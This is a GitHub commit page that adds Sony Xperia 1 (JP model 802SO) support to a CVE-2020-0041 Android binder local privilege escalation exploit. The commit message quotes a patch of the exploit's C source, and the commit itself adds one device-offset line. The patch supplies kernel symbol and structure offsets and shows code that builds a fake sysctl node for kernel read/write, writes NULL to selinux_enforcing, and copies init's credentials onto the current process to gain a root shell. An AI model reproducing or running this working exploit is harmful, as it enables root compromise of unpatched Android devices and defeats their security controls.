Skip to content

Commit

Permalink
initial support for JP xperia 1 from bb-qq
Browse files Browse the repository at this point in the history
cherry picked from bb-qq's patch against the original CVE-2020-0041
exploit source code, patch copied here for reference

using LG G8/V50 as a base provides stability fixes implemented there,
i.e. if used only the patch bellow, xperia 1 rebooted very quickly after
getting a temp root shell similarly as LG V50 did, most likely due
to crash of init process because of selinux security problem,
while having LG G8/V50 fixes, we can get stable root shell with
possibility to start even magisk from temp root including working su
permission asking notifications from apps

thanks to @bb-qq at xda for his independent work implementing initial
xperia 1 support including testing with his JP model

  --- a/lpe/src/exploit.c
  +++ b/lpe/src/exploit.c
  @@ -26,18 +26,18 @@

   #define KERNEL_MAGIC    (unsigned long)0x644d5241

  -#define SELINUX_ENFORCING_OFFSET 0x2ba4000
  -#define MEMSTART_ADDR_OFFSET 0x20d1090
  -#define SYSCTL_TABLE_ROOT_OFFSET 0x29da3f8
  -#define PROC_DOUINTVEC_OFFSET 0x196775c
  -#define INIT_TASK_OFFSET 0x29a1e80L
  -#define INIT_CRED_OFFSET 0x29b00a0
  -#define OFFSET_PIPE_FOP 0x1f2f650
  -
  -#define TASKS_OFFSET 0x570
  -#define PID_OFFSET 0x670
  -#define MM_OFFSET 0x5c0
  -#define REAL_CRED_OFFSET 0x838
  +#define SELINUX_ENFORCING_OFFSET 0x28F3000
  +#define MEMSTART_ADDR_OFFSET 0x1A50E08
  +#define SYSCTL_TABLE_ROOT_OFFSET 0x21DD380
  +#define PROC_DOULONGVEC_OFFSET 0x3EF20
  +#define INIT_TASK_OFFSET 0x219C680
  +#define INIT_CRED_OFFSET 0x21AD808
  +#define OFFSET_PIPE_FOP 0x13A12D0
  +
  +#define TASKS_OFFSET 0x568
  +#define PID_OFFSET 0x668
  +#define MM_OFFSET 0x5b8
  +#define REAL_CRED_OFFSET 0x810

   char pathname[64];

  @@ -472,27 +472,13 @@ void write64(uint64_t addr, uint64_t value) {
         printf("[!] Failed to open. Errno: %d\n", errno);
      }

  -   sprintf(buf, "%u %u\n", (uint32_t)value, (uint32_t)(value >> 32));
  +   sprintf(buf, "%lu\n", value);
      int ret = write(fd, buf, strlen(buf));
      if (ret < 0)
         printf("[!] Failed to write, errno: %d\n", errno);
      close(fd);
   }

  -/*
  - * 32-bit kernel write primitive using fake proc sysctl entry.
  - */
  -void write32(uint64_t addr, uint32_t value) {
  -   *(uint64_t *)(ctl_table_uaddr + 8) = addr;          // data == what to read/write
  -   *(uint32_t *)(ctl_table_uaddr + 16) = 4;
  -
  -   char buf[100];
  -   int fd = open(pathname, O_WRONLY);
  -   sprintf(buf, "%u\n", value);
  -   write(fd, buf, strlen(buf));
  -   close(fd);
  -}
  -
   /*
    * Find task given its PID, starting at task start.
    */
  @@ -586,10 +572,6 @@ int main()
         goto out;
      }

  -   /* Step 3: Disable selinux by writing NULL to selinux_enforcing */
  -   struct exp_node *write8_selinux = node_new("write8_selinux");
  -   node_write_null(write8_selinux, kernel_base + SELINUX_ENFORCING_OFFSET);
  -
      /*
       * Step 4: Setup a fake sysctl node in our own userland page. We will start
       * by locating the kernel address of this page by parsing our own pgd.
  @@ -611,7 +593,7 @@ int main()
      memstart_addr = read64(kernel_base + MEMSTART_ADDR_OFFSET);
      printf("[+] memstart_addr: 0x%lx\n", memstart_addr);
      uint64_t mm = read64(current + MM_OFFSET);
  -   uint64_t pgd = read64(mm + 0x40);
  +   uint64_t pgd = read64(mm + 0x48);
      uint64_t entry = read64(pgd);

      uint64_t next_tbl = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12);
  @@ -677,12 +659,12 @@ int main()
      *(uint64_t *)(tbl_header_uaddr + 0x48) = 0;                // inodes.first

      /* Now setup ctl_table */
  -   uint64_t proc_douintvec = kernel_base + PROC_DOUINTVEC_OFFSET;
  +   uint64_t proc_doulongvec = kernel_base + PROC_DOULONGVEC_OFFSET;
      *(uint64_t *)(ctl_table_uaddr) = procname_kaddr;           // procname
      *(uint64_t *)(ctl_table_uaddr + 8) = kernel_base;          // data == what to read/write
      *(uint32_t *)(ctl_table_uaddr + 16) = 0x8;
  -   *(uint64_t *)(ctl_table_uaddr + 0x20) = proc_douintvec;       // proc_handler
      *(uint32_t *)(ctl_table_uaddr + 20) = 0666;             // mode = rw-rw-rw-
  +   *(uint64_t *)(ctl_table_uaddr + 32) = proc_doulongvec;       // proc_handler

      /*
       * Compute and write the node name. We use a random name starting with aaa
  @@ -715,8 +697,31 @@ int main()
      printf("[+] Injected sysctl node!\n");
      sleep(1);

  +   /* Step 3: Disable selinux by writing NULL to selinux_enforcing */
  +   struct exp_node *write8_selinux = node_new("write8_selinux");
  +   node_write_null(write8_selinux, kernel_base + SELINUX_ENFORCING_OFFSET);
  +   log_info("[+] selinux_enforcing after write NULL: %c\n", read_selinux_enforcing());
  +
      /* Set refcount to 0x100 and set our own credentials to init's */
  +
  +#if 0
  +	vleft = table->maxlen / sizeof(*i);
  +
  +	/*
  +	 * Arrays are not supported, keep this simple. *Do not* add
  +	 * support for them.
  +	 */
  +	if (vleft != 1) {
  +		*lenp = 0;
  +		return -EINVAL;
  +	}
  +
  +   // write32 does not work anymore.
      write32(init_cred, 0x100);
  +#else
  +   uint32_t val = read32(init_cred + 4);
  +   write64(init_cred, (uint64_t)(val) << 32 | 0x100);
  +#endif
      write64(current + REAL_CRED_OFFSET, init_cred);
      write64(current + REAL_CRED_OFFSET + 8, init_cred);

  @@ -742,7 +747,7 @@ int main()
            printf("[!] Couldn't find task for pid %d\n", nodes[j]->tid);
            continue;
         }
  -      uint64_t kstack = read64(task + 0x28);
  +      uint64_t kstack = read64(task + 0x58);

         for (int i = 0; i < 0x4000; i += 8) {
            if (read64(kstack + i) == nodes[j]->kaddr) {
  diff --git a/lpe/src/log.c b/lpe/src/log.c
  index 8a12c20..213ca84 100644
  --- a/lpe/src/log.c
  +++ b/lpe/src/log.c
  @@ -10,7 +10,7 @@ ssize_t log_info(const char *format, ...)
   	uint8_t buf[0x1000];
   	memset(buf, 0, 0x1000);
   	va_start(args, format);
  -	len = vsnprintf(buf, INT_MAX, format, args);
  +	len = vsnprintf(buf, sizeof(buf), format, args);
   	va_end(args);

   	if (len > 0)
  @@ -25,7 +25,7 @@ ssize_t log_err(const char *format, ...)
   	uint8_t buf[0x1000];
   	memset(buf, 0, 0x1000);
   	va_start(args, format);
  -	len = vsnprintf(buf, INT_MAX, format, args);
  +	len = vsnprintf(buf, sizeof(buf), format, args);
   	va_end(args);

   	if (len > 0)
  diff --git a/lpe/src/node.c b/lpe/src/node.c
  index f74695b..622e999 100644
  --- a/lpe/src/node.c
  +++ b/lpe/src/node.c
  @@ -238,7 +238,7 @@ static bool _disclose_file_addr(struct exp_node *node, int *ep_arr, int n)
      /* Leak our values, we should have something interesting. */
      node_leak(node, &A, &B);

  -   node->file_addr = A - 0xd8;
  +   node->file_addr = A - 0xd0;
      node->ep_fd = ep_arr[idx];

      return true;
  --
  • Loading branch information
j4nn committed Aug 10, 2020
1 parent 3ef936b commit 125f605
Showing 1 changed file with 1 addition and 0 deletions.
1 change: 1 addition & 0 deletions src/exploit.c
Expand Up @@ -42,6 +42,7 @@ struct offsets {
};

static struct offsets offsets[] = {
{ "802SO-55.1.B.0.202", 0x28F3000, 0x1A50E08, 0x21DD380, 0x3EF20, 0x219C680, 0x21AD808, 0x13A12D0 },
{ NULL, }
};

Expand Down

0 comments on commit 125f605

Please sign in to comment.